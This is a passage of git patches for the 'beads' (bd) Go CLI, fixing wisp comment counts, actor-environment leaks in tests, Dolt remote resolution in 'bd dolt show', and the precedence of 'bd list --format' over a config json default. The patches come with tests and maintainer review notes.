- **`bd dolt start` no longer puts a second sql-server over a proxied workspace's data directory.** On a proxied-server workspace the default root IS `.beads/dolt`, and `bd dolt start` knew nothing about proxied mode: with diff --git a/backend/conformance/audit_labels-comments-events.go b/backend/conformance/audit_labels-comments-events.go index 7aa69e159..e6eda7b45 100644 --- a/backend/conformance/audit_labels-comments-events.go +++ b/backend/conformance/audit_labels-comments-events.go @@ -113,11 +113,12 @@ func testAuditLabelEventNonIdempotent(t *testing.T, f Factory) { } } -// testAuditCountCommentsWispAsymmetry pins the intentional route asymmetry: -// GetIssueComments wisp-routes, but CountIssueComments always queries `comments`. -// A wisp with structured comments returns them from GetIssueComments but reports 0 -// from CountIssueComments. -func testAuditCountCommentsWispAsymmetry(t *testing.T, f Factory) { +// testAuditCountCommentsWispParity pins that CountIssueComments wisp-routes the +// same way GetIssueComments does: a wisp's structured comments live in +// `wisp_comments`, and the count must agree with the rows (GH#5565 — the count +// used to query only `comments` and report 0, so `bd show` showed comment_count 0 +// on a wisp that had comments). +func testAuditCountCommentsWispParity(t *testing.T, f Factory) { s := f(t) c := ctx() must(t, s.CreateIssue(c, withDefaults(&types.Issue{ID: "test-w", Title: "wisp", Ephemeral: true}), "a")) @@ -133,8 +134,8 @@ func testAuditCountCommentsWispAsymmetry(t *testing.T, f Factory) { } n, err := s.CountIssueComments(c, "test-w") must(t, err) - if n != 0 { - t.Errorf("CountIssueComments(wisp) = %d, want 0 (queries only `comments`, never wisp-routed)", n) + if n != int64(len(got)) { + t.Errorf("CountIssueComments(wisp) = %d, want %d (must wisp-route like GetIssueComments)", n, len(got)) } } @@ -297,7 +298,7 @@ func RunAudit_labels_comments_events(t *testing.T, f Factory) { t.Helper() t.Run("EventValueNullability", func(t *testing.T) { testAuditEventValueNullability(t, f) }) t.Run("LabelEventNonIdempotent", func(t *testing.T) { testAuditLabelEventNonIdempotent(t, f) }) - t.Run("CountCommentsWispAsymmetry", func(t *testing.T) { testAuditCountCommentsWispAsymmetry(t, f) }) + t.Run("CountCommentsWispParity", func(t *testing.T) { testAuditCountCommentsWispParity(t, f) }) t.Run("LabelCollationOrder", func(t *testing.T) { testAuditLabelCollationOrder(t, f) }) t.Run("EventsSinceStrictBoundary", func(t *testing.T) { testAuditEventsSinceStrictBoundary(t, f) }) t.Run("EventsLimitAndAll", func(t *testing.T) { testAuditEventsLimitAndAll(t, f) }) diff --git a/cmd/bd/show_embedded_test.go b/cmd/bd/show_embedded_test.go index 87df8f99d..c7d055d1e 100644 --- a/cmd/bd/show_embedded_test.go +++ b/cmd/bd/show_embedded_test.go @@ -230,6 +230,26 @@ func TestEmbeddedShow(t *testing.T) { } }) + // GH#5565: the direct/embedded twin of the proxied + // show_wisp_comments_default_count_only. A wisp's comments live in + // wisp_comments; the default count-only view must count them there. + t.Run("show_json_wisp_comment_count", func(t *testing.T) { + wisp := bdCreate(t, bd, dir, "Wisp w/comments", "--type", "task", "--ephemeral") + for i := 0; i < 2; i++ { + if out, err := bdRunWithFlockRetry(t, bd, dir, "comments", "add", wisp.ID, fmt.Sprintf("wisp comment %d", i)); err != nil { + t.Fatalf("bd comments add failed: %v\n%s", err, out) + } + } + + m := bdShowDetails(t, bd, dir, wisp.ID) + if got, _ := m["comment_count"].(float64); got != 2 { + t.Errorf("comment_count: got %v, want 2", m["comment_count"]) + } + if _, ok := m["comments"]; ok { + t.Errorf("comments slice should be absent by default") + } + }) + // ===== --short ===== t.Run("show_short", func(t *testing.T) { diff --git a/internal/storage/dolt/counts.go b/internal/storage/dolt/counts.go index 98a236d39..dbee52afc 100644 --- a/internal/storage/dolt/counts.go +++ b/internal/storage/dolt/counts.go @@ -3,6 +3,7 @@ package dolt import ( "context" "database/sql" + "fmt" "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" @@ -102,8 +103,15 @@ func (s *DoltStore) CountDependencies(ctx context.Context, issueID string) (int6 func (s *DoltStore) CountIssueComments(ctx context.Context, issueID string) (int64, error) { var n int64 err := s.withReadTx(ctx, func(tx *sql.Tx) error { + // Route by wisp status exactly as GetIssueComments does, so the count + // and the rows it summarizes read the same table (GH#5565). + table := "comments" + if issueops.IsActiveWispInTx(ctx, tx, issueID) { + table = "wisp_comments" + } + //nolint:gosec // G201: table is hardcoded return tx.QueryRowContext(ctx, - `SELECT count(*) FROM comments WHERE issue_id = ?`, issueID).Scan(&n) + fmt.Sprintf(`SELECT count(*) FROM %s WHERE issue_id = ?`, table), issueID).Scan(&n) }) return n, err } diff --git a/internal/storage/embeddeddolt/counts.go b/internal/storage/embeddeddolt/counts.go index 8d1a3aec6..39e65cbb5 100644 --- a/internal/storage/embeddeddolt/counts.go +++ b/internal/storage/embeddeddolt/counts.go @@ -5,6 +5,7 @@ package embeddeddolt import ( "context" "database/sql" + "fmt" "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" @@ -103,8 +104,15 @@ func (s *EmbeddedDoltStore) CountDependencies(ctx context.Context, issueID strin func (s *EmbeddedDoltStore) CountIssueComments(ctx context.Context, issueID string) (int64, error) { var n int64 err := s.withConn(ctx, false, func(tx *sql.Tx) error { + // Route by wisp status exactly as GetIssueComments does, so the count + // and the rows it summarizes read the same table (GH#5565). + table := "comments" + if issueops.IsActiveWispInTx(ctx, tx, issueID) { + table = "wisp_comments" + } + //nolint:gosec // G201: table is hardcoded return tx.QueryRowContext(ctx, - `SELECT count(*) FROM comments WHERE issue_id = ?`, issueID).Scan(&n) + fmt.Sprintf(`SELECT count(*) FROM %s WHERE issue_id = ?`, table), issueID).Scan(&n) }) return n, err } From 06b3320a67f7676a0635aa2e359f8cec7d79eec6 Mon Sep 17 00:00:00 2001 From: Harry Miller Date: Sat, 26 Sep 2026 06:01:42 -0700 Subject: [PATCH 091/624] test(cmd/bd): stop three tests depending on the developer's actor env (#6560) (#6706) TestPrepareSelectedCommandContext_RebindsTargetConfig and _DoesNotMergeCallerConfigForUnsetKeys assert that a config.yaml actor is rebound, but BEADS_ACTOR outranks config.yaml on purpose (resolveConfiguredActor, the GH#4645 fix), and so does BD_ACTOR through viper's BD-prefixed AutomaticEnv. Either one exported in a shell made the assertion unsatisfiable. A new clearActorEnv helper blanks both, following the t.Setenv("X", "") idiom these tests already use for the Dolt server env. A full cmd/bd run with both variables set found a third: TestCollectViperEntriesWithEnvOverride sets BD_ACTOR and expects it as the reported source, but an exported BEADS_ACTOR wins. It now blanks BEADS_ACTOR. CI runners set neither variable, so all three only failed locally. No product code changes. Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-authored-by: Claude Opus 5.5 (1M context) --- cmd/bd/config_show_test.go | 3 +++ cmd/bd/context_binding_test.go | 15 +++++++++++++++ 2 files changed, 18 insertions(+) diff --git a/cmd/bd/config_show_test.go b/cmd/bd/config_show_test.go index 4e409ee32..7001a6d07 100644 --- a/cmd/bd/config_show_test.go +++ b/cmd/bd/config_show_test.go @@ -284,6 +284,9 @@ func TestCollectViperEntriesWithEnvOverride(t *testing.T) { defer os.Chdir(origDir) //nolint:errcheck t.Setenv("BD_ACTOR", "env-bot") + // BEADS_ACTOR outranks BD_ACTOR on purpose (GH#4645), so one exported in + // the developer's shell would be reported as the source instead (GH#6560). + t.Setenv("BEADS_ACTOR", "") t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") config.ResetForTesting() if err := config.Initialize(); err != nil { diff --git a/cmd/bd/context_binding_test.go b/cmd/bd/context_binding_test.go index 9302203a4..adaec2f6a 100644 --- a/cmd/bd/context_binding_test.go +++ b/cmd/bd/context_binding_test.go @@ -51,9 +51,23 @@ func restoreRootFlagState(t *testing.T, state map[string]flagSnapshot) { } } +// clearActorEnv blanks the two environment variables that outrank a +// config.yaml actor, so a test asserting the config value is rebound does not +// depend on the developer's shell (GH#6560). BEADS_ACTOR outranks it +// deliberately: resolveConfiguredActor checks the env first, which is the +// GH#4645 fix. BD_ACTOR does too, because viper's BD-prefixed AutomaticEnv +// reads it as the actor key ahead of the file. CI runners set neither, which is +// why these tests only ever failed locally. +func clearActorEnv(t *testing.T) { + t.Helper() + t.Setenv("BEADS_ACTOR", "") + t.Setenv("BD_ACTOR", "") +} + func TestPrepareSelectedCommandContext_RebindsTargetConfig(t *testing.T) { t.Setenv("BEADS_DOLT_SERVER_DATABASE", "") t.Setenv("BEADS_DOLT_SERVER_PORT", "") + clearActorEnv(t) callerDir := t.TempDir() callerBeadsDir := filepath.Join(callerDir, ".beads") @@ -134,6 +148,7 @@ func TestPrepareSelectedCommandContext_RebindsTargetConfig(t *testing.T) { func TestPrepareSelectedCommandContext_DoesNotMergeCallerConfigForUnsetKeys(t *testing.T) { t.Setenv("BEADS_DOLT_SERVER_DATABASE", "") t.Setenv("BEADS_DOLT_SERVER_PORT", "") + clearActorEnv(t) root := t.TempDir() callerDir := filepath.Join(root, "caller") From af1c6ac2d323193c730d0ef4b98644404c6de8df Mon Sep 17 00:00:00 2001 From: Rongjun GENG Date: Sat, 26 Sep 2026 06:38:33 -0700 Subject: [PATCH 092/624] fix(dolt): resolve show remotes from active root (#6718) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(dolt): resolve show remotes from active root * review: neutralize ambient shared-server env in show-remotes tests; document resolver limits Maintainer review fixup for PR #6718 (iteration 1). Addresses the two minor findings and both nits from the review synthesis; no blocker or major was found. 1. Test hermeticity (minor, PR-introduced). Routing resolveDoltShowRemotes through doltserver.ResolvePhysicalRoots moved mode selection from the caller's arguments into the environment, so the mode-independent TestResolveDoltShowRemotes* tests began inheriting ambient BEADS_DOLT_SHARED_SERVER. Reproduced here: $ BEADS_DOLT_SHARED_SERVER=1 go test ./cmd/bd/ -run TestResolveDoltShowRemotes -count=1 --- FAIL: TestResolveDoltShowRemotesFromPersistedState dolt_test.go:2021: resolveDoltShowRemotes = [], want origin --- FAIL: TestResolveDoltShowRemotesCorruptStateWarns dolt_test.go:2205: expected a warning naming repo_state.json, got: "" Impossible at base: the old candidate list was built purely from the embeddedDataDir/beadsDir/dbName parameters and read no environment at all (a1bc167b5:cmd/bd/dolt.go:1908-1932). Fixed by neutralizing the variable in withNilStoreForShow, the convention already used ~10x in this package (bootstrap_test.go:57). The two shared-server tests set it to "1" themselves after calling the helper, so they stay discriminating — their fixtures place repo_state.json only under the shared root, so they can only pass if the shared-server arm is actually taken. Now green clean, with =1, and with =true. Measured, not assumed: only this axis leaks. BEADS_DOLT_SERVER_MODE=1, BEADS_DOLT_DATA_DIR, and BEADS_SHARED_SERVER_DIR each leave all 7 tests green. A wider `-run TestDolt` sweep surfaces 3 more reds under this variable (TestDoltConfigGetters, TestDoltShowUsesExplicitDBFlagForNoDBCommand, TestDoltShowUsesSelectedRepoConfigForNoDBCommand) — all three fail identically with only cmd/bd/dolt.go and cmd/bd/dolt_test.go reverted to a1bc167b5, so they are pre-existing and out of scope here. 2. Known resolver limits documented on resolveDoltShowRemotes (minor + nit, both doc-level by the reviewers' own scoping): - show/open parity does not hold when a workspace has no metadata.json. ResolvePhysicalRoots decides mode by on-disk discovery, while main.go additionally promotes a nil config to server mode from BEADS_DOLT_SERVER_MODE=1 / config.yaml dolt.mode. Mirroring that rescue in the resolver is the real fix but changes every caller, so it stays a follow-up. Pre-existing property of the resolver, only newly reachable here. - a remote-host server workspace has no local root, so show renders "(none)"; the comment records that this means "not locally knowable", not "no remotes configured". 3. Roots[0] (nit): comment recording that every resolver branch returns exactly one root today, and that Roots is a slice because other callers union several. User-visible output changes introduced by this PR and not named in its commit subject, recorded here per review: remote-host server mode now prints "(none)" rather than probing beadsDir/dolt for another mode's stale remotes, and the candidate precedence now checks root/ before the bare root. Validation: gofmt clean, go vet ./cmd/bd/ clean, and `go test ./cmd/bd/ -run TestResolveDoltShowRemotes -count=1` green under a clean env, BEADS_DOLT_SHARED_SERVER=1, and BEADS_DOLT_SHARED_SERVER=true. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- cmd/bd/dolt.go | 63 ++++++++++++++++++++--------- cmd/bd/dolt_test.go | 96 +++++++++++++++++++++++++++++++++++++++------ 2 files changed, 128 insertions(+), 31 deletions(-) diff --git a/cmd/bd/dolt.go b/cmd/bd/dolt.go index 009b15bb6..769911f9b 100644 --- a/cmd/bd/dolt.go +++ b/cmd/bd/dolt.go @@ -1897,15 +1897,35 @@ func selectedDoltBeadsDir() string { // source as the remote-migrate gate) so remotes match `bd dolt remote list` // (GH#4619). // -// Only the candidate path(s) for the active mode (embedded vs. server) are -// probed; a repo in one mode must not surface stale remotes persisted under -// the other mode's data directory. Within the mode-appropriate candidates, -// the first repo_state.json found on disk is authoritative: an empty +// The physical root is resolved through the same mode-aware path selection +// used by store opening; a repo in one mode must not surface stale remotes +// persisted under another mode's data directory. Within that root, the active +// database directory is checked before the root-level cold-start layout. The +// first repo_state.json found on disk is authoritative: an empty // remotes list there means "no remotes", not "keep looking" — this stops // an authoritative-but-empty active database from falling through to a // stale candidate. A corrupt or unreadable repo_state.json is surfaced as a // warning rather than silently rendered as "(none)". -func resolveDoltShowRemotes(beadsDir string, cfg *configfile.Config, embeddedDataDir string, embedded bool) []storage.RemoteInfo { +// +// Two known limits of that delegation, both narrower than the stale-mode leak +// it removes: +// +// - show/open parity does NOT hold for a workspace with no metadata.json. +// ResolvePhysicalRoots' discovery fallback picks the mode from what is on +// disk (embeddeddolt/, else dolt/), while the CLI open path additionally +// promotes a nil config to server mode via the +// `cfg == nil && configfile.DefaultConfig().IsDoltServerMode()` rescue in +// main.go (BEADS_DOLT_SERVER_MODE=1 / config.yaml dolt.mode). So a +// workspace with no metadata.json, that env set, and a leftover +// embeddeddolt/ tree reports the embedded root's remotes under a +// server-mode header. Mirroring the rescue inside the resolver is the real +// fix but changes every ResolvePhysicalRoots caller, so it is a follow-up +// rather than part of this command's fix. +// - a remote-host server workspace has no local root to read, so this +// returns nil and `bd dolt show` renders "(none)". Read that as "not +// locally knowable" rather than "no remotes configured"; `bd dolt remote +// list` against the server is the authoritative answer. +func resolveDoltShowRemotes(beadsDir string, cfg *configfile.Config) []storage.RemoteInfo { ctx := context.Background() if st := getStore(); st != nil { if remotes, err := st.ListRemotes(ctx); err == nil && len(remotes) > 0 { @@ -1916,20 +1936,25 @@ func resolveDoltShowRemotes(beadsDir string, cfg *configfile.Config, embeddedDat if cfg != nil { dbName = cfg.GetDoltDatabase() } - var candidates []string - if embedded { - if embeddedDataDir != "" { - candidates = append(candidates, embeddedDataDir) - if dbName != "" { - candidates = append(candidates, filepath.Join(embeddedDataDir, dbName)) - } - } - } else if beadsDir != "" { - candidates = append(candidates, filepath.Join(beadsDir, "dolt")) - if dbName != "" { - candidates = append(candidates, filepath.Join(beadsDir, "dolt", dbName)) - } + physical, err := doltserver.ResolvePhysicalRoots(beadsDir) + if err != nil { + fmt.Fprintf(os.Stderr, "%s\n", ui.RenderWarn(fmt.Sprintf("could not resolve Dolt data directory: %v", err))) + return nil } + if physical.RemoteBackend || len(physical.Roots) == 0 { + return nil + } + + // Every ResolvePhysicalRoots branch appends exactly one root today; Roots + // is a slice because other callers (beads.OpenGated) union several. + // Revisit this if the resolver ever does that here, or the extra + // candidates would vanish without a trace. + root := physical.Roots[0] + var candidates []string + if dbName != "" { + candidates = append(candidates, filepath.Join(root, dbName)) + } + candidates = append(candidates, root) for _, dir := range candidates { if dir == "" { continue @@ -2040,7 +2065,7 @@ func showDoltConfig(testConnection bool) error { } fmt.Println("\nRemotes:") - remotes := resolveDoltShowRemotes(beadsDir, cfg, embeddedDataDir, embedded) + remotes := resolveDoltShowRemotes(beadsDir, cfg) if len(remotes) == 0 { fmt.Println(" (none)") } else { diff --git a/cmd/bd/dolt_test.go b/cmd/bd/dolt_test.go index 66153a2fd..0c085ae4b 100644 --- a/cmd/bd/dolt_test.go +++ b/cmd/bd/dolt_test.go @@ -1982,8 +1982,17 @@ func TestNoPushDoesNotSkipDoltPull(t *testing.T) { // cmdCtx over the legacy global, so both must be cleared to reproduce the // `bd dolt show` no-store diagnostic path), restoring both on cleanup. See // TestDoltPushPullCommitNeedStore for the same pattern. +// +// It also neutralizes ambient BEADS_DOLT_SHARED_SERVER: resolveDoltShowRemotes +// now selects the physical root through doltserver.ResolvePhysicalRoots, whose +// shared-server arm keys off that variable, so a developer or CI shell +// exporting it would otherwise redden the mode-independent tests below for +// reasons unrelated to the code under test. The two shared-server tests set it +// to "1" themselves after calling this helper, so neutralizing here does not +// weaken them. func withNilStoreForShow(t *testing.T) { t.Helper() + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") originalStore := store originalCmdCtx := cmdCtx t.Cleanup(func() { @@ -2016,7 +2025,7 @@ func TestResolveDoltShowRemotesFromPersistedState(t *testing.T) { t.Fatalf("default dolt database = %q, want %q for fixture layout", cfg.GetDoltDatabase(), dbName) } - remotes := resolveDoltShowRemotes(beadsDir, cfg, filepath.Join(beadsDir, "embeddeddolt"), true) + remotes := resolveDoltShowRemotes(beadsDir, cfg) if len(remotes) != 1 || remotes[0].Name != "origin" { t.Fatalf("resolveDoltShowRemotes = %+v, want origin", remotes) } @@ -2025,10 +2034,72 @@ func TestResolveDoltShowRemotesFromPersistedState(t *testing.T) { } } +// GH#6685: shared-server mode stores the physical database outside the +// project, under $BEADS_SHARED_SERVER_DIR/dolt/. `bd dolt show` +// must resolve that active root rather than probing project-local paths. +func TestResolveDoltShowRemotesFromSharedServerState(t *testing.T) { + withNilStoreForShow(t) + + beadsDir := t.TempDir() + sharedDir := t.TempDir() + t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") + t.Setenv("BEADS_SHARED_SERVER_DIR", sharedDir) + + cfg := configfile.DefaultConfig() + dbPath := filepath.Join(sharedDir, "dolt", cfg.GetDoltDatabase()) + if err := os.MkdirAll(filepath.Join(dbPath, ".dolt"), 0o755); err != nil { + t.Fatal(err) + } + state := `{"remotes":{"origin":{"name":"origin","url":"https://doltremoteapi.dolthub.com/org/shared"}}}` + if err := os.WriteFile(filepath.Join(dbPath, ".dolt", "repo_state.json"), []byte(state), 0o644); err != nil { + t.Fatal(err) + } + + remotes := resolveDoltShowRemotes(beadsDir, cfg) + if len(remotes) != 1 || remotes[0].Name != "origin" { + t.Fatalf("resolveDoltShowRemotes = %+v, want shared-server origin", remotes) + } +} + +// GH#6685: stale project-local state must not mask the active shared-server +// database. This reproduces the field report where .beads/dolt existed from +// an older mode and caused `bd dolt show` to print "(none)". +func TestResolveDoltShowRemotesSharedServerIgnoresStaleLocalState(t *testing.T) { + withNilStoreForShow(t) + + beadsDir := t.TempDir() + sharedDir := t.TempDir() + t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") + t.Setenv("BEADS_SHARED_SERVER_DIR", sharedDir) + + stalePath := filepath.Join(beadsDir, "dolt", ".dolt") + if err := os.MkdirAll(stalePath, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(stalePath, "repo_state.json"), []byte(`{"remotes":{}}`), 0o644); err != nil { + t.Fatal(err) + } + + cfg := configfile.DefaultConfig() + dbPath := filepath.Join(sharedDir, "dolt", cfg.GetDoltDatabase()) + if err := os.MkdirAll(filepath.Join(dbPath, ".dolt"), 0o755); err != nil { + t.Fatal(err) + } + state := `{"remotes":{"origin":{"name":"origin","url":"https://doltremoteapi.dolthub.com/org/shared"}}}` + if err := os.WriteFile(filepath.Join(dbPath, ".dolt", "repo_state.json"), []byte(state), 0o644); err != nil { + t.Fatal(err) + } + + remotes := resolveDoltShowRemotes(beadsDir, cfg) + if len(remotes) != 1 || remotes[0].Name != "origin" { + t.Fatalf("resolveDoltShowRemotes = %+v, want shared-server origin", remotes) + } +} + func TestResolveDoltShowRemotesNoneWhenNoState(t *testing.T) { withNilStoreForShow(t) - remotes := resolveDoltShowRemotes(t.TempDir(), configfile.DefaultConfig(), filepath.Join(t.TempDir(), "embeddeddolt"), true) + remotes := resolveDoltShowRemotes(t.TempDir(), configfile.DefaultConfig()) if len(remotes) != 0 { t.Fatalf("want no remotes, got %+v", remotes) } @@ -2055,11 +2126,11 @@ func TestResolveDoltShowRemotesModeAppropriate(t *testing.T) { } cfg := configfile.DefaultConfig() - embeddedDataDir := filepath.Join(beadsDir, "embeddeddolt") + writeMetadataConfig(t, beadsDir, configfile.DoltModeServer, dbName) - // Active mode is server (embedded=false): the embedded-only remotes + // Active mode is server: the embedded-only remotes // must not leak through. - remotes := resolveDoltShowRemotes(beadsDir, cfg, embeddedDataDir, false) + remotes := resolveDoltShowRemotes(beadsDir, cfg) if len(remotes) != 0 { t.Fatalf("server-mode resolve leaked embedded remotes: %+v", remotes) } @@ -2075,19 +2146,20 @@ func TestResolveDoltShowRemotesAuthoritativeEmpty(t *testing.T) { beadsDir := t.TempDir() dbName := "beads" - // The bare embedded data dir (checked first) is present but has no + // The active database dir (checked first) is present but has no // remotes — this must be treated as authoritative, not skipped in - // favor of the dbName-suffixed candidate below. + // favor of the root-level cold-start candidate below. barePath := filepath.Join(beadsDir, "embeddeddolt") - if err := os.MkdirAll(filepath.Join(barePath, ".dolt"), 0o755); err != nil { + activePath := filepath.Join(barePath, dbName) + if err := os.MkdirAll(filepath.Join(activePath, ".dolt"), 0o755); err != nil { t.Fatal(err) } - if err := os.WriteFile(filepath.Join(barePath, ".dolt", "repo_state.json"), []byte(`{"remotes":{}}`), 0o644); err != nil { + if err := os.WriteFile(filepath.Join(activePath, ".dolt", "repo_state.json"), []byte(`{"remotes":{}}`), 0o644); err != nil { t.Fatal(err) } // A stale candidate with remotes recorded — must not be consulted. - stalePath := filepath.Join(barePath, dbName) + stalePath := barePath if err := os.MkdirAll(filepath.Join(stalePath, ".dolt"), 0o755); err != nil { t.Fatal(err) } @@ -2097,7 +2169,7 @@ func TestResolveDoltShowRemotesAuthoritativeEmpty(t *testing.T) { } cfg := configfile.DefaultConfig() - remotes := resolveDoltShowRemotes(beadsDir, cfg, barePath, true) + remotes := resolveDoltShowRemotes(beadsDir, cfg) if len(remotes) != 0 { t.Fatalf("authoritative empty result was overridden by stale candidate: %+v", remotes) } @@ -2128,7 +2200,7 @@ func TestResolveDoltShowRemotesCorruptStateWarns(t *testing.T) { os.Stderr = w defer func() { os.Stderr = origStderr }() - remotes := resolveDoltShowRemotes(beadsDir, cfg, filepath.Join(beadsDir, "embeddeddolt"), true) + remotes := resolveDoltShowRemotes(beadsDir, cfg) _ = w.Close() os.Stderr = origStderr From 65005f8cbc2b190245cb356d2e775acadc63e018 Mon Sep 17 00:00:00 2001 From: Harry Miller Date: Sat, 26 Sep 2026 06:40:44 -0700 Subject: [PATCH 093/624] fix(list): a typed --format beats a config json default (#6278) (#6708) * fix(list): a typed --format beats a config json default (#6278) The root pre-run promotes a config-file or env `json: true` into jsonOutput unless the ROOT --format changed. bd list registers its own --format, which shadows the root flag, so that check never saw it. `bd list --format digraph` under `json: true` then took the JSON branch and printed the listing instead of the graph. gatherListInput now clears jsonOutput when the caller typed a non-json --format and did not also pass --json. Flag precedence is unchanged: explicit --json still beats --format, and --format json still turns JSON on. Scoped to bd list rather than the global pre-run, because other commands' local --format flags (export, graph, ...) mean different things. Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * fix(list): stop citing help text that does not state the precedence Maintainer review fixup for PR #6708 (adopt-pr iteration 1). Synthesis and the quality scorecard both say approve with no blocker and no major finding and no required changes; these are two of the three non-gating minors, taken because both are text-only and sit in the material this PR adds. - The fix-site comment and the CHANGELOG entry both ended "as the (flag's) help says", pointing at a contract that does not exist: list's --format help is "Output format: 'digraph' ..., 'dot' (Graphviz), or Go template" and root's is "Output format (json). Alias for --json" -- neither states that an explicit --json outranks --format. Dropped the false citation and named the conjunct that actually preserves that precedence, rather than appending it to the --format usage string: touching a Cobra help string implies a CLI-reference docs regen, which is more blast radius than a minor readability finding earns. - Left the shadowing hazard on the record at main.go:1104, the shared config-precedence check that by construction cannot see a subcommand's local --format. This is the finding's prescribed minimum; reconciling the check itself (and bd dep tree's opposite precedence) is explicitly scoped to its own PR. Scope correction to the finding: the synthesis lists the commit message as a third site carrying the false citation. It does not. The contributor's commit message says "Flag precedence is unchanged: explicit --json still beats --format" -- true, and it cites no help text. The PR body does not carry the clause either (checked both). So the finding's real spread is the two sites fixed here, and nothing is left for finalize to amend on the GitHub surface. Deliberately not taken: the third minor, an end-to-end case in list_embedded_test.go asserting the config-default half of the chain. It is recommended rather than required, the unit matrix is already proven to fail on base, and an embedded-gated test is not the cheap, nearby cleanup this step allows opportunistically. It stays a non-gating follow-up. Validation: git diff --check clean; gofmt clean; go build ./... clean; go vet ./cmd/bd/ clean; golangci-lint v2.10.1 (pr.yml's pin) 0 issues; TestListTypedFormatBeatsAConfigJSONDefault 4/4 and the TestGatherListInput* family all PASS. Comment-and-prose only -- no behavior change. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5.5 (1M context) Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 8 ++++ cmd/bd/list_format_json_test.go | 70 +++++++++++++++++++++++++++++++++ cmd/bd/list_input.go | 10 +++++ cmd/bd/main.go | 8 +++- 4 files changed, 95 insertions(+), 1 deletion(-) create mode 100644 cmd/bd/list_format_json_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index e7d01278f..51eb82066 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -82,6 +82,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 `bd dolt pull`, which is what opting out means). Pulling before the first open after upgrading avoids the state entirely. +- **A `--format` typed on `bd list` now beats a `json: true` config default** + ([#6278](https://github.com/gastownhall/beads/issues/6278)). With `json: true` + in `config.yaml` (or the environment), `bd list --format digraph`, `dot` or a + template printed the JSON listing instead, because `bd list`'s own `--format` + flag shadows the root one the config-precedence check looks at. A typed + `--format` now wins over the config default; an explicit `--json` still wins + over `--format`. + ### Added - **`bd backup` works on a proxied-server workspace bd runs the Dolt server diff --git a/cmd/bd/list_format_json_test.go b/cmd/bd/list_format_json_test.go new file mode 100644 index 000000000..03e186661 --- /dev/null +++ b/cmd/bd/list_format_json_test.go @@ -0,0 +1,70 @@ +package main + +import ( + "testing" + + "github.com/spf13/cobra" +) + +// TestListTypedFormatBeatsAConfigJSONDefault pins GH#6278. The root pre-run +// promotes a config-file (or env) `json: true` into jsonOutput unless the +// ROOT --format changed, but `bd list` registers its own --format, which +// shadows the root one. So `bd list --format digraph` under `json: true` +// printed the JSON listing instead of the graph. A --format the caller typed +// must win over that default; an explicit --json still wins over --format. +func TestListTypedFormatBeatsAConfigJSONDefault(t *testing.T) { + t.Run("typed format clears a config json default", func(t *testing.T) { + // pinJSONOutput(true) stands in for the pre-run having read json: true. + pinJSONOutput(t, true) + in, err := gatherListInput(newListFlagsCommand(t, "--format", "digraph")) + if err != nil { + t.Fatalf("gatherListInput: %v", err) + } + if in.jsonOutput || jsonOutput { + t.Errorf("jsonOutput = %v (in.jsonOutput = %v), want false: the typed --format must beat the config default", jsonOutput, in.jsonOutput) + } + if in.formatStr != "digraph" { + t.Errorf("formatStr = %q, want %q", in.formatStr, "digraph") + } + }) + + t.Run("explicit --json still beats --format", func(t *testing.T) { + pinJSONOutput(t, true) + cmd := newListFlagsCommand(t, "--format", "digraph") + root := &cobra.Command{Use: "bd"} + root.PersistentFlags().Bool("json", false, "") + root.AddCommand(cmd) + if err := root.PersistentFlags().Set("json", "true"); err != nil { + t.Fatalf("set --json: %v", err) + } + in, err := gatherListInput(cmd) + if err != nil { + t.Fatalf("gatherListInput: %v", err) + } + if !in.jsonOutput || !jsonOutput { + t.Errorf("jsonOutput = %v, want true: an explicit --json outranks --format", jsonOutput) + } + }) + + t.Run("no typed format leaves the config default alone", func(t *testing.T) { + pinJSONOutput(t, true) + in, err := gatherListInput(newListFlagsCommand(t)) + if err != nil { + t.Fatalf("gatherListInput: %v", err) + } + if !in.jsonOutput { + t.Error("in.jsonOutput = false, want true: without --format the config json default applies") + } + }) + + t.Run("--format json still turns json on", func(t *testing.T) { + pinJSONOutput(t, false) + in, err := gatherListInput(newListFlagsCommand(t, "--format", "json")) + if err != nil { + t.Fatalf("gatherListInput: %v", err) + } + if !in.jsonOutput || in.formatStr != "" { + t.Errorf("jsonOutput = %v, formatStr = %q, want true and empty", in.jsonOutput, in.formatStr) + } + }) +} diff --git a/cmd/bd/list_input.go b/cmd/bd/list_input.go index 5dd69799c..b637f47ff 100644 --- a/cmd/bd/list_input.go +++ b/cmd/bd/list_input.go @@ -65,6 +65,16 @@ func gatherListInput(cmd *cobra.Command) (listInput, error) { if strings.EqualFold(in.formatStr, "json") { jsonOutput = true in.formatStr = "" + } else if in.formatStr != "" && cmd.Flags().Changed("format") && !commandJSONFlagChanged(cmd) { + // A --format the caller typed outranks a json default from config or + // the environment (GH#6278). The root pre-run promotes `json: true` + // into jsonOutput unless the ROOT --format changed, but this command's + // own --format shadows the root one, so that check never sees it and + // the JSON branch would replace the requested graph or template. An + // explicit --json still wins (the !commandJSONFlagChanged conjunct + // above is what preserves it); note no flag's help text states that + // precedence, so this comment is its only record. + jsonOutput = false } in.jsonOutput = jsonOutput diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 53d341d40..f5cc0b9d4 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -1100,7 +1100,13 @@ var rootCmd = &cobra.Command{ jsonOutput = true } } - // If flag wasn't explicitly set, use viper value + // If flag wasn't explicitly set, use viper value. + // + // SHADOWING HAZARD (GH#6278): this reads the ROOT persistent --format + // only, so a subcommand that registers its own local --format shadows + // it here and still gets `json: true` promoted over the format it 